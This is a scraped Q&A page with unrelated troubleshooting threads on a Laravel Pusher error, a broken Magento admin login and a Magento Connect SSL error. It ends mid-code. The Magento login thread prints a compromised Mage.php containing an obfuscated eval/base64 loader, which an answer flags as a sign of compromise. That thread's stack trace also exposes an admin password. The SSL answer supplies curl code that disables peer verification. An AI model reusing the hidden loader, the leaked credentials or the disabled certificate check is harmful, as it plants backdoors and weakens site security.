Pusher\\ApiErrorException(code: 0) error in Chat system - ajax

After Message save broadcasting occurs this issue:
local.ERROR: {"userId":3,"exception":"[object] (Pusher\ApiErrorException(code: 0): at C:\xampp\htdocs\fm\script\vendor\pusher\pusher-php-server\src\Pusher.php:533)
[stacktrace]
#0 C:\xampp\htdocs\fm\script\vendor
nahid\talk\src\Live\Webcast.php(51): Pusher\Pusher->trigger(Array, 'talk-send-messa...', Array)
nahid\talk\src\Live\Broadcast.php(85): Nahid\Talk\Live\Broadcast->dispatch(Object(Nahid\Talk\Live\Webcast))
#22 C:\xampp\htdocs\fm\script\vendor
nahid\talk\src\Talk.php(106): Nahid\Talk\Live\Broadcast->transmission(Object(Nahid\Talk\Messages\Message))
#23 C:\xampp\htdocs\fm\script\vendor
nahid\talk\src\Talk.php(268): Nahid\Talk\Talk->makeMessage(2, Object(Nahid\Talk\Messages\Message))
Pages:
Webcast.php
class Webcast implements ShouldQueue
{
use InteractsWithQueue, Queueable, SerializesModels;
/*
* Message Model Instance
*
* #var object
* */
protected $message;
/*
* Broadcast class instance
*
* #var object
* */
protected $broadcast;
/**
* Set message collections to the properties.
*/
public function __construct($message)
{
$this->message = $message;
}
/*
* Execute the job and broadcast to the pusher channels
*
* #param \Nahid\Talk\Live\Broadcast $broadcast
* #return void
*/
public function handle(Broadcast $broadcast)
{
$this->broadcast = $broadcast;
$senderIdKey = $this->broadcast->getConfig('user.ownerKey') ? $this->broadcast->getConfig('user.ownerKey') : 'id';
$toUser = ($this->message['sender'][ $senderIdKey] == $this->message['conversation']['user_one']) ? $this->message['conversation']['user_two'] : $this->message['conversation']['user_one'];
$channelForUser = $this->broadcast->getConfig('broadcast.app_name').'-user-'.$toUser;
$channelForConversation = $this->broadcast->getConfig('broadcast.app_name').'-conversation-'.$this->message['conversation_id'];
// try {
$this->broadcast->pusher->trigger([sha1($channelForUser), sha1($channelForConversation)], 'talk-send-message', $this->message);
// } catch (ApiErrorException $e) {
// throw new BroadcastException(
// sprintf('Pusher error: %s.', $e->getMessage())
// );
// }
}
}
Broadcast.php
class Broadcast
{
use DispatchesJobs;
/*
* Constant for talk config prefix
*
* #const string
* */
const CONFIG_PATH = 'talk';
/*
* Set all configs from talk configurations
*
* #var array
* */
protected $config;
/*
* Pusher instance
*
* #var object
* */
public $pusher;
/**
* Connect pusher and get all credentials from config.
*
* #param \Illuminate\Contracts\Config\Repository $config
*/
public function __construct(Repository $config)
{
$this->config = $config;
$this->pusher = $this->connectPusher();
}
/**
* Make pusher connection.
*
* #param array $options
*
* #return object | bool
*/
protected function connectPusher($options = [])
{
if ($this->getConfig('broadcast.enable')) {
$appId = $this->getConfig('broadcast.pusher.app_id');
$appKey = $this->getConfig('broadcast.pusher.app_key');
$appSecret = $this->getConfig('broadcast.pusher.app_secret');
$appOptions = $this->getConfig('broadcast.pusher.options');
$newOptions = array_merge($appOptions, $options);
$pusher = new Pusher($appKey, $appSecret, $appId, $newOptions);
return $pusher;
}
return false;
}
/**
* Dispatch the job to the queue.
*
* #param \Nahid\Talk\Messages\Message $message
*/
public function transmission(Message $message)
{
if (!$this->pusher) {
return false;
}
$sender = $message->sender->toArray();
$messageArray = $message->toArray();
$messageArray['sender'] = $sender;
$this->dispatch(new Webcast($messageArray));
}
/**
* get specific config from talk configurations.
*
* #param string
*
* #return string|array|int
*/
public function getConfig($name)
{
return $this->config->get(self::CONFIG_PATH.'.'.$name);
}
}

Related

Magento Admin login is broken

a customer has a problem with his backend. Whenever i try to login the following error occure
i delete var/cache and var/session but nothing happend
Magento 1.5
There has been an error processing your request
Invalid method Mage_Admin_Model_Session::renewSession(Array
(
)
)
Trace:
#0 [internal function]: Varien_Object->__call('renewSession', Array)
#1 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Admin/Model/Session.php(116): Mage_Admin_Model_Session->renewSession()
#2 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Admin/Model/Observer.php(55): Mage_Admin_Model_Session->login('webkomadmin01', 'Webkom09#', Object(Mage_Core_Controller_Request_Http))
#3 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Model/App.php(1265): Mage_Admin_Model_Observer->actionPreDispatchAdmin(Object(Varien_Event_Observer))
#4 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Model/App.php(1246): Mage_Core_Model_App->_callObserverMethod(Object(Mage_Admin_Model_Observer), 'actionPreDispat...', Object(Varien_Event_Observer))
#5 /var/www/vhosts/mydomain.com/httpdocs/app/Mage.php(416): Mage_Core_Model_App->dispatchEvent('controller_acti...', Array)
#6 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Action.php(502): Mage::dispatchEvent('controller_acti...', Array)
#7 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Adminhtml/Controller/Action.php(152): Mage_Core_Controller_Varien_Action->preDispatch()
#8 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Action.php(407): Mage_Adminhtml_Controller_Action->preDispatch()
#9 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(253): Mage_Core_Controller_Varien_Action->dispatch('index')
#10 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Front.php(176): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
#11 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Model/App.php(340): Mage_Core_Controller_Varien_Front->dispatch()
#12 /var/www/vhosts/mydomain.com/httpdocs/app/Mage.php(627): Mage_Core_Model_App->run(Array)
#13 /var/www/vhosts/mydomain.com/httpdocs/index.php(80): Mage::run('', 'store')
#14 {main}
please try to empty your browsers cache/session, and also try to clear your var/cache folders on your server.
1) add this code in media/.htaccess
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI
Options +FollowSymLinks
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* ../get.php [L]
2) Remove the following line in app/Mage.php line 152
return array(
'major' => '1',
'minor' => '5',
'revision' => 'x',
'patch' => '',
'stability' => 'devel',
'number' => '-100810',
);
}
3) add this following code in app/Mage.php line 152
return array(
'revision' => '1',
'patch' => '0',
'stability' => 'beta',
'number' => '1',
);
}
app/mage.php
#jinesh
<?php
eval(gzinflate(base64_decode('DcxBCoAgEAXQveA50o3uK/IoIjLqgIySn+j49Q7wwnWG2aZW9KRuCneKlRDzEJBgma0Bc/f+HiKcVk5V2AnBs5SRs8OLzdpDq/BHHw==')));
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license#magentocommerce.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magentocommerce.com for more information.
*
* #category Mage
* #package Mage_Core
* #copyright Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
* #license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
define('DS', DIRECTORY_SEPARATOR);
define('PS', PATH_SEPARATOR);
define('BP', dirname(dirname(__FILE__)));
Mage::register('original_include_path', get_include_path());
if (defined('COMPILER_INCLUDE_PATH')) {
$appPath = COMPILER_INCLUDE_PATH;
set_include_path($appPath . PS . Mage::registry('original_include_path'));
include_once "Mage_Core_functions.php";
include_once "Varien_Autoload.php";
} else {
/**
* Set include path
*/
$paths[] = BP . DS . 'app' . DS . 'code' . DS . 'local';
$paths[] = BP . DS . 'app' . DS . 'code' . DS . 'community';
$paths[] = BP . DS . 'app' . DS . 'code' . DS . 'core';
$paths[] = BP . DS . 'lib';
$appPath = implode(PS, $paths);
set_include_path($appPath . PS . Mage::registry('original_include_path'));
include_once "Mage/Core/functions.php";
include_once "Varien/Autoload.php";
}
Varien_Autoload::register();
/**
* Main Mage hub class
*
* #author Magento Core Team <core#magentocommerce.com>
*/
final class Mage
{
/**
* Registry collection
*
* #var array
*/
static private $_registry = array();
/**
* Application root absolute path
*
* #var string
*/
static private $_appRoot;
/**
* Application model
*
* #var Mage_Core_Model_App
*/
static private $_app;
/**
* Config Model
*
* #var Mage_Core_Model_Config
*/
static private $_config;
/**
* Event Collection Object
*
* #var Varien_Event_Collection
*/
static private $_events;
/**
* Object cache instance
*
* #var Varien_Object_Cache
*/
static private $_objects;
/**
* Is downloader flag
*
* #var bool
*/
static private $_isDownloader = false;
/**
* Is developer mode flag
*
* #var bool
*/
static private $_isDeveloperMode = false;
/**
* Is allow throw Exception about headers already sent
*
* #var bool
*/
public static $headersSentThrowsException = true;
/**
* Is installed flag
*
* #var bool
*/
static private $_isInstalled;
/**
* Gets the current Magento version string
* #link http://www.magentocommerce.com/blog/new-community-edition-release-process/
*
* #return string
*/
public static function getVersion()
{
$i = self::getVersionInfo();
return trim("{$i['major']}.{$i['minor']}.{$i['revision']}" . ($i['patch'] != '' ? ".{$i['patch']}" : "") . "-{$i['stability']}{$i['number']}", '.-');
}
/**
* Gets the detailed Magento version information
* #link http://www.magentocommerce.com/blog/new-community-edition-release-process/
*
* #return array
*/
public static function getVersionInfo()
{
return array(
'revision' => '1',
'patch' => '0',
'stability' => 'beta',
'number' => '1',
);
}
/**
* Set all my static data to defaults
*
*/
public static function reset()
{
self::$_registry = array();
self::$_app = null;
self::$_config = null;
self::$_events = null;
self::$_objects = null;
self::$_isDownloader = false;
self::$_isDeveloperMode = false;
// do not reset $headersSentThrowsException
}
/**
* Register a new variable
*
* #param string $key
* #param mixed $value
* #param bool $graceful
* #throws Mage_Core_Exception
*/
public static function register($key, $value, $graceful = false)
{
if (isset(self::$_registry[$key])) {
if ($graceful) {
return;
}
self::throwException('Mage registry key "'.$key.'" already exists');
}
self::$_registry[$key] = $value;
}
/**
* Unregister a variable from register by key
*
* #param string $key
*/
public static function unregister($key)
{
if (isset(self::$_registry[$key])) {
if (is_object(self::$_registry[$key]) && (method_exists(self::$_registry[$key], '__destruct'))) {
self::$_registry[$key]->__destruct();
}
unset(self::$_registry[$key]);
}
}
/**
* Retrieve a value from registry by a key
*
* #param string $key
* #return mixed
*/
public static function registry($key)
{
if (isset(self::$_registry[$key])) {
return self::$_registry[$key];
}
return null;
}
/**
* Set application root absolute path
*
* #param string $appRoot
* #throws Mage_Core_Exception
*/
public static function setRoot($appRoot = '')
{
if (self::$_appRoot) {
return ;
}
if ('' === $appRoot) {
// automagically find application root by dirname of Mage.php
$appRoot = dirname(__FILE__);
}
$appRoot = realpath($appRoot);
if (is_dir($appRoot) and is_readable($appRoot)) {
self::$_appRoot = $appRoot;
} else {
self::throwException($appRoot . ' is not a directory or not readable by this user');
}
}
/**
* Retrieve application root absolute path
*
* #return string
*/
public static function getRoot()
{
return self::$_appRoot;
}
/**
* Retrieve Events Collection
*
* #return Varien_Event_Collection $collection
*/
public static function getEvents()
{
return self::$_events;
}
/**
* Varien Objects Cache
*
* #param string $key optional, if specified will load this key
* #return Varien_Object_Cache
*/
public static function objects($key = null)
{
if (!self::$_objects) {
self::$_objects = new Varien_Object_Cache;
}
if (is_null($key)) {
return self::$_objects;
} else {
return self::$_objects->load($key);
}
}
/**
* Retrieve application root absolute path
*
* #param string $type
* #return string
*/
public static function getBaseDir($type = 'base')
{
return self::getConfig()->getOptions()->getDir($type);
}
/**
* Retrieve module absolute path by directory type
*
* #param string $type
* #param string $moduleName
* #return string
*/
public static function getModuleDir($type, $moduleName)
{
return self::getConfig()->getModuleDir($type, $moduleName);
}
/**
* Retrieve config value for store by path
*
* #param string $path
* #param mixed $store
* #return mixed
*/
public static function getStoreConfig($path, $store = null)
{
return self::app()->getStore($store)->getConfig($path);
}
/**
* Retrieve config flag for store by path
*
* #param string $path
* #param mixed $store
* #return bool
*/
public static function getStoreConfigFlag($path, $store = null)
{
$flag = strtolower(self::getStoreConfig($path, $store));
if (!empty($flag) && 'false' !== $flag) {
return true;
} else {
return false;
}
}
/**
* Get base URL path by type
*
* #param string $type
* #return string
*/
public static function getBaseUrl($type = Mage_Core_Model_Store::URL_TYPE_LINK, $secure = null)
{
return self::app()->getStore()->getBaseUrl($type, $secure);
}
/**
* Generate url by route and parameters
*
* #param string $route
* #param array $params
* #return string
*/
public static function getUrl($route = '', $params = array())
{
return self::getModel('core/url')->getUrl($route, $params);
}
/**
* Get design package singleton
*
* #return Mage_Core_Model_Design_Package
*/
public static function getDesign()
{
return self::getSingleton('core/design_package');
}
/**
* Retrieve a config instance
*
* #return Mage_Core_Model_Config
*/
public static function getConfig()
{
return self::$_config;
}
/**
* Add observer to even object
*
* #param string $eventName
* #param callback $callback
* #param array $arguments
* #param string $observerName
*/
public static function addObserver($eventName, $callback, $data = array(), $observerName = '', $observerClass = '')
{
if ($observerClass == '') {
$observerClass = 'Varien_Event_Observer';
}
$observer = new $observerClass();
$observer->setName($observerName)->addData($data)->setEventName($eventName)->setCallback($callback);
return self::getEvents()->addObserver($observer);
}
/**
* Dispatch event
*
* Calls all observer callbacks registered for this event
* and multiobservers matching event name pattern
*
* #param string $name
* #param array $args
* #return Mage_Core_Model_App
*/
public static function dispatchEvent($name, array $data = array())
{
Varien_Profiler::start('DISPATCH EVENT:'.$name);
$result = self::app()->dispatchEvent($name, $data);
#$result = self::registry('events')->dispatch($name, $data);
Varien_Profiler::stop('DISPATCH EVENT:'.$name);
return $result;
}
/**
* Retrieve model object
*
* #link Mage_Core_Model_Config::getModelInstance
* #param string $modelClass
* #param array $arguments
* #return Mage_Core_Model_Abstract
*/
public static function getModel($modelClass = '', $arguments = array())
{
return self::getConfig()->getModelInstance($modelClass, $arguments);
}
/**
* Retrieve model object singleton
*
* #param string $modelClass
* #param array $arguments
* #return Mage_Core_Model_Abstract
*/
public static function getSingleton($modelClass='', array $arguments=array())
{
$registryKey = '_singleton/'.$modelClass;
if (!self::registry($registryKey)) {
self::register($registryKey, self::getModel($modelClass, $arguments));
}
return self::registry($registryKey);
}
/**
* Retrieve object of resource model
*
* #param string $modelClass
* #param array $arguments
* #return Object
*/
public static function getResourceModel($modelClass, $arguments = array())
{
return self::getConfig()->getResourceModelInstance($modelClass, $arguments);
}
/**
* Retrieve Controller instance by ClassName
*
* #param string $class
* #param Mage_Core_Controller_Request_Http $request
* #param Mage_Core_Controller_Response_Http $response
* #param array $invokeArgs
* #return Mage_Core_Controller_Front_Action
*/
public static function getControllerInstance($class, $request, $response, array $invokeArgs = array())
{
return new $class($request, $response, $invokeArgs);
}
/**
* Retrieve resource vodel object singleton
*
* #param string $modelClass
* #param array $arguments
* #return object
*/
public static function getResourceSingleton($modelClass = '', array $arguments = array())
{
$registryKey = '_resource_singleton/'.$modelClass;
if (!self::registry($registryKey)) {
self::register($registryKey, self::getResourceModel($modelClass, $arguments));
}
return self::registry($registryKey);
}
/**
* Deprecated, use self::helper()
*
* #param string $type
* #return object
*/
public static function getBlockSingleton($type)
{
$action = self::app()->getFrontController()->getAction();
return $action ? $action->getLayout()->getBlockSingleton($type) : false;
}
/**
* Retrieve helper object
*
* #param string $name the helper name
* #return Mage_Core_Helper_Abstract
*/
public static function helper($name)
{
if (strpos($name, '/') === false) {
$name .= '/data';
}
$registryKey = '_helper/' . $name;
if (!self::registry($registryKey)) {
$helperClass = self::getConfig()->getHelperClassName($name);
self::register($registryKey, new $helperClass);
}
return self::registry($registryKey);
}
/**
* Return new exception by module to be thrown
*
* #param string $module
* #param string $message
* #param integer $code
* #return Mage_Core_Exception
*/
public static function exception($module = 'Mage_Core', $message = '', $code = 0)
{
$className = $module.'_Exception';
return new $className($message, $code);
}
/**
* Throw Exception
*
* #param string $message
* #param string $messageStorage
*/
public static function throwException($message, $messageStorage = null)
{
if ($messageStorage && ($storage = self::getSingleton($messageStorage))) {
$storage->addError($message);
}
throw new Mage_Core_Exception($message);
}
/**
* Get initialized application object.
*
* #param string $code
* #param string $type
* #param string|array $options
* #return Mage_Core_Model_App
*/
public static function app($code = '', $type = 'store', $options = array())
{
if (null === self::$_app) {
self::$_app = new Mage_Core_Model_App();
self::setRoot();
self::$_events = new Varien_Event_Collection();
self::$_config = new Mage_Core_Model_Config();
Varien_Profiler::start('self::app::init');
self::$_app->init($code, $type, $options);
Varien_Profiler::stop('self::app::init');
self::$_app->loadAreaPart(Mage_Core_Model_App_Area::AREA_GLOBAL, Mage_Core_Model_App_Area::PART_EVENTS);
}
return self::$_app;
}
/**
* #static
* #param string $code
* #param string $type
* #param array $options
* #param string|array $modules
*/
public static function init($code = '', $type = 'store', $options = array(), $modules = array())
{
try {
self::setRoot();
self::$_app = new Mage_Core_Model_App();
self::$_config = new Mage_Core_Model_Config();
if (!empty($modules)) {
self::$_app->initSpecified($code, $type, $options, $modules);
} else {
self::$_app->init($code, $type, $options);
}
} catch (Mage_Core_Model_Session_Exception $e) {
header('Location: ' . self::getBaseUrl());
die;
} catch (Mage_Core_Model_Store_Exception $e) {
require_once(self::getBaseDir() . DS . 'errors' . DS . '404.php');
die;
} catch (Exception $e) {
self::printException($e);
die;
}
}
/**
* Front end main entry point
*
* #param string $code
* #param string $type
* #param string|array $options
*/
public static function run($code = '', $type = 'store', $options=array())
{
try {
Varien_Profiler::start('mage');
self::setRoot();
self::$_app = new Mage_Core_Model_App();
self::$_events = new Varien_Event_Collection();
self::$_config = new Mage_Core_Model_Config();
self::$_app->run(array(
'scope_code' => $code,
'scope_type' => $type,
'options' => $options,
));
Varien_Profiler::stop('mage');
} catch (Mage_Core_Model_Session_Exception $e) {
header('Location: ' . self::getBaseUrl());
die();
} catch (Mage_Core_Model_Store_Exception $e) {
require_once(self::getBaseDir() . DS . 'errors' . DS . '404.php');
die();
} catch (Exception $e) {
if (self::isInstalled() || self::$_isDownloader) {
self::printException($e);
exit();
}
try {
self::dispatchEvent('mage_run_exception', array('exception' => $e));
if (!headers_sent()) {
header('Location:' . self::getUrl('install'));
} else {
self::printException($e);
}
} catch (Exception $ne) {
self::printException($ne, $e->getMessage());
}
}
}
/**
* Retrieve application installation flag
*
* #param string|array $options
* #return bool
*/
public static function isInstalled($options = array())
{
if (self::$_isInstalled === null) {
self::setRoot();
if (is_string($options)) {
$options = array('etc_dir' => $options);
}
$etcDir = 'etc';
if (!empty($options['etc_dir'])) {
$etcDir = $options['etc_dir'];
}
$localConfigFile = self::getRoot() . DS . $etcDir . DS . 'local.xml';
self::$_isInstalled = false;
if (is_readable($localConfigFile)) {
$localConfig = simplexml_load_file($localConfigFile);
date_default_timezone_set('UTC');
if (($date = $localConfig->global->install->date) && strtotime($date)) {
self::$_isInstalled = true;
}
}
}
return self::$_isInstalled;
}
/**
* log facility (??)
*
* #param string $message
* #param integer $level
* #param string $file
* #param bool $forceLog
*/
public static function log($message, $level = null, $file = '', $forceLog = false)
{
if (!self::getConfig()) {
return;
}
try {
$logActive = self::getStoreConfig('dev/log/active');
if (empty($file)) {
$file = self::getStoreConfig('dev/log/file');
}
}
catch (Exception $e) {
$logActive = true;
}
if (!self::$_isDeveloperMode && !$logActive && !$forceLog) {
return;
}
static $loggers = array();
$level = is_null($level) ? Zend_Log::DEBUG : $level;
$file = empty($file) ? 'system.log' : $file;
try {
if (!isset($loggers[$file])) {
$logFile = self::getBaseDir('var') . DS . 'log' . DS . $file;
if (!is_dir(self::getBaseDir('var').DS.'log')) {
mkdir(self::getBaseDir('var').DS.'log', 0777);
}
if (!file_exists($logFile)) {
file_put_contents($logFile, '');
chmod($logFile, 0777);
}
$format = '%timestamp% %priorityName% (%priority%): %message%' . PHP_EOL;
$formatter = new Zend_Log_Formatter_Simple($format);
$writerModel = (string)self::getConfig()->getNode('global/log/core/writer_model');
if (!self::$_app || !$writerModel) {
$writer = new Zend_Log_Writer_Stream($logFile);
}
else {
$writer = new $writerModel($logFile);
}
$writer->setFormatter($formatter);
$loggers[$file] = new Zend_Log($writer);
}
if (is_array($message) || is_object($message)) {
$message = print_r($message, true);
}
$loggers[$file]->log($message, $level);
}
catch (Exception $e) {
}
}
/**
* Write exception to log
*
* #param Exception $e
*/
public static function logException(Exception $e)
{
if (!self::getConfig()) {
return;
}
$file = self::getStoreConfig('dev/log/exception_file');
self::log("\n" . $e->__toString(), Zend_Log::ERR, $file);
}
/**
* Set enabled developer mode
*
* #param bool $mode
* #return bool
*/
public static function setIsDeveloperMode($mode)
{
self::$_isDeveloperMode = (bool)$mode;
return self::$_isDeveloperMode;
}
/**
* Retrieve enabled developer mode
*
* #return bool
*/
public static function getIsDeveloperMode()
{
return self::$_isDeveloperMode;
}
/**
* Display exception
*
* #param Exception $e
*/
public static function printException(Exception $e, $extra = '')
{
if (self::$_isDeveloperMode) {
print '<pre>';
if (!empty($extra)) {
print $extra . "\n\n";
}
print $e->getMessage() . "\n\n";
print $e->getTraceAsString();
print '</pre>';
} else {
$reportData = array(
!empty($extra) ? $extra . "\n\n" : '' . $e->getMessage(),
$e->getTraceAsString()
);
// retrieve server data
if (isset($_SERVER)) {
if (isset($_SERVER['REQUEST_URI'])) {
$reportData['url'] = $_SERVER['REQUEST_URI'];
}
if (isset($_SERVER['SCRIPT_NAME'])) {
$reportData['script_name'] = $_SERVER['SCRIPT_NAME'];
}
}
// attempt to specify store as a skin
try {
$storeCode = self::app()->getStore()->getCode();
$reportData['skin'] = $storeCode;
}
catch (Exception $e) {}
require_once(self::getBaseDir() . DS . 'errors' . DS . 'report.php');
}
die();
}
/**
* Define system folder directory url by virtue of running script directory name
* Try to find requested folder by shifting to domain root directory
*
* #param string $folder
* #param boolean $exitIfNot
* #return string
*/
public static function getScriptSystemUrl($folder, $exitIfNot = false)
{
$runDirUrl = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
$runDir = rtrim(dirname($_SERVER['SCRIPT_FILENAME']), DS);
$baseUrl = null;
if (is_dir($runDir.'/'.$folder)) {
$baseUrl = str_replace(DS, '/', $runDirUrl);
} else {
$runDirUrlArray = explode('/', $runDirUrl);
$runDirArray = explode('/', $runDir);
$count = count($runDirArray);
for ($i=0; $i < $count; $i++) {
array_pop($runDirUrlArray);
array_pop($runDirArray);
$_runDir = implode('/', $runDirArray);
if (!empty($_runDir)) {
$_runDir .= '/';
}
if (is_dir($_runDir.$folder)) {
$_runDirUrl = implode('/', $runDirUrlArray);
$baseUrl = str_replace(DS, '/', $_runDirUrl);
break;
}
}
}
if (is_null($baseUrl)) {
$errorMessage = "Unable detect system directory: $folder";
if ($exitIfNot) {
// exit because of infinity loop
exit($errorMessage);
} else {
self::printException(new Exception(), $errorMessage);
}
}
return $baseUrl;
}
/**
* Set is downloader flag
*
* #param bool $flag
*/
public static function setIsDownloader($flag = true)
{
self::$_isDownloader = $flag;
}
}
Unfortunately its seems your clients site was compromised.
your mage.php shouldn't contain line 2:
eval(gzinflate(base64_decode('DcxBCoAgEAXQveA50o3uK/IoIjLqgIySn+j49Q7wwnWG2aZW9KRuCneKlRDzEJBgma0Bc/f+HiKcVk5V2AnBs5SRs8OLzdpDq/BHHw==')));
You can use http://ddecode.com/phpdecoder/?home to evaluate that code

community/HelloWired_Free_Theme_1_4: Unknown SSL protocol error in connection to connect20.magentocommerce.com:443

I don't try to install some themes and other extensions on magento 1.9 on my mec.
The error is:
community/HelloWired_Free_Theme_1_4: Unknown SSL protocol error in
connection to connect20.magentocommerce.com:443
Can you help me, please?
Thanks!
Try to use this code in downloader/lib/Mage/HTTP/Client/Curl.php
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license#magentocommerce.com so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magentocommerce.com for more information.
*
* #category Mage
* #package Mage_HTTP
* #copyright Copyright (c) 2014 Magento Inc. (http://www.magentocommerce.com)
* #license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Class to work with HTTP protocol using curl library
*
* #category Mage
* #package Mage_Connect
* #author Magento Core Team <core#magentocommerce.com>
*/
class Mage_HTTP_Client_Curl implements Mage_HTTP_IClient
{
/**
* Session Cookie storage, magento_root/var directory used
* #var string
*/
const COOKIE_FILE = 'var/cookie';
/**
* Hostname
* #var string
*/
protected $_host = 'localhost';
/**
* Port
* #var int
*/
protected $_port = 80;
/**
* Stream resource
* #var object
*/
protected $_sock = null;
/**
* Request headers
* #var array
*/
protected $_headers = array();
/**
* Fields for POST method - hash
* #var array
*/
protected $_postFields = array();
/**
* Request cookies
* #var array
*/
protected $_cookies = array();
/**
* Response headers
* #var array
*/
protected $_responseHeaders = array();
/**
* Response body
* #var string
*/
protected $_responseBody = '';
/**
* Response status
* #var int
*/
protected $_responseStatus = 0;
/**
* Request timeout
* #var intunknown_type
*/
protected $_timeout = 300;
/**
* TODO
* #var int
*/
protected $_redirectCount = 0;
/**
* Curl
* #var object
*/
protected $_ch;
/**
* User ovverides options hash
* Are applied before curl_exec
*
* #var array();
*/
protected $_curlUserOptions = array();
/**
* User credentials
*
* #var array();
*/
protected $_auth = array();
/**
* Set request timeout, msec
*
* #param int $value
*/
public function setTimeout($value)
{
$this->_timeout = (int) $value;
}
/**
* Constructor
*/
public function __construct()
{
}
/**
* Destructor
* Removes temporary environment
*/
public function __destruct()
{
if (is_file(self::COOKIE_FILE)) {
#unlink(self::COOKIE_FILE);
}
}
/**
* Set headers from hash
* #param array $headers
*/
public function setHeaders($headers)
{
$this->_headers = $headers;
}
/**
* Add header
*
* #param $name name, ex. "Location"
* #param $value value ex. "http://google.com"
*/
public function addHeader($name, $value)
{
$this->_headers[$name] = $value;
}
/**
* Remove specified header
*
* #param string $name
*/
public function removeHeader($name)
{
unset($this->_headers[$name]);
}
/**
* Authorization: Basic header
* Login credentials support
*
* #param string $login username
* #param string $pass password
*/
public function setCredentials($login, $pass)
{
$this->_auth['login'] = $login;
$this->_auth['password'] = $pass;
//$val= base64_encode( "$login:$pass" );
//$this->addHeader( "Authorization", "Basic $val" );
}
/**
* Add cookie
*
* #param string $name
* #param string $value
*/
public function addCookie($name, $value)
{
$this->_cookies[$name] = $value;
}
/**
* Remove cookie
*
* #param string $name
*/
public function removeCookie($name)
{
unset($this->_cookies[$name]);
}
/**
* Set cookies array
*
* #param array $cookies
*/
public function setCookies($cookies)
{
$this->_cookies = $cookies;
}
/**
* Clear cookies
*/
public function removeCookies()
{
$this->setCookies(array());
}
/**
* Make GET request
*
* #param string $uri uri relative to host, ex. "/index.php"
*/
public function get($uri)
{
$this->makeRequest("GET", $uri);
}
/**
* Make POST request
* #see lib/Mage/HTTP/Mage_HTTP_Client#post($uri, $params)
*/
public function post($uri, $params)
{
$this->makeRequest("POST", $uri, $params);
}
/**
* Get response headers
*
* #return array
*/
public function getHeaders()
{
return $this->_responseHeaders;
}
/**
* Get response body
*
* #return string
*/
public function getBody()
{
return $this->_responseBody;
}
/**
* Get cookies response hash
*
* #return array
*/
public function getCookies()
{
if(empty($this->_responseHeaders['Set-Cookie'])) {
return array();
}
$out = array();
foreach( $this->_responseHeaders['Set-Cookie'] as $row) {
$values = explode("; ", $row);
$c = count($values);
if(!$c) {
continue;
}
list($key, $val) = explode("=", $values[0]);
if(is_null($val)) {
continue;
}
$out[trim($key)] = trim($val);
}
return $out;
}
/**
* Get cookies array with details
* (domain, expire time etc)
* #return array
*/
public function getCookiesFull()
{
if(empty($this->_responseHeaders['Set-Cookie'])) {
return array();
}
$out = array();
foreach( $this->_responseHeaders['Set-Cookie'] as $row) {
$values = explode("; ", $row);
$c = count($values);
if(!$c) {
continue;
}
list($key, $val) = explode("=", $values[0]);
if(is_null($val)) {
continue;
}
$out[trim($key)] = array('value'=>trim($val));
array_shift($values);
$c--;
if(!$c) {
continue;
}
for($i = 0; $i<$c; $i++) {
list($subkey, $val) = explode("=", $values[$i]);
$out[trim($key)][trim($subkey)] = trim($val);
}
}
return $out;
}
/**
* Get response status code
* #see lib/Mage/HTTP/Mage_HTTP_Client#getStatus()
*/
public function getStatus()
{
return $this->_responseStatus;
}
/**
* Make request
* #param string $method
* #param string $uri
* #param array $params
* #return null
*/
protected function makeRequest($method, $uri, $params = array())
{
static $isAuthorizationRequired = 0;
$this->_ch = curl_init();
// make request via secured layer
if ($isAuthorizationRequired && strpos($uri, 'https://') !== 0) {
$uri = str_replace('http://', '', $uri);
$uri = 'https://' . $uri;
}
$this->curlOption(CURLOPT_URL, $uri);
$this->curlOption(CURLOPT_SSL_VERIFYPEER, FALSE);
$this->curlOption(CURLOPT_SSL_VERIFYHOST, 2);
// force method to POST if secured
if ($isAuthorizationRequired) {
$method = 'POST';
}
if($method == 'POST') {
$this->curlOption(CURLOPT_POST, 1);
$postFields = is_array($params) ? $params : array();
if ($isAuthorizationRequired) {
$this->curlOption(CURLOPT_COOKIEJAR, self::COOKIE_FILE);
$this->curlOption(CURLOPT_COOKIEFILE, self::COOKIE_FILE);
$postFields = array_merge($postFields, $this->_auth);
}
if (!empty($postFields)) {
$this->curlOption(CURLOPT_POSTFIELDS, $postFields);
}
} elseif($method == "GET") {
$this->curlOption(CURLOPT_HTTPGET, 1);
} else {
$this->curlOption(CURLOPT_CUSTOMREQUEST, $method);
}
if(count($this->_headers)) {
$heads = array();
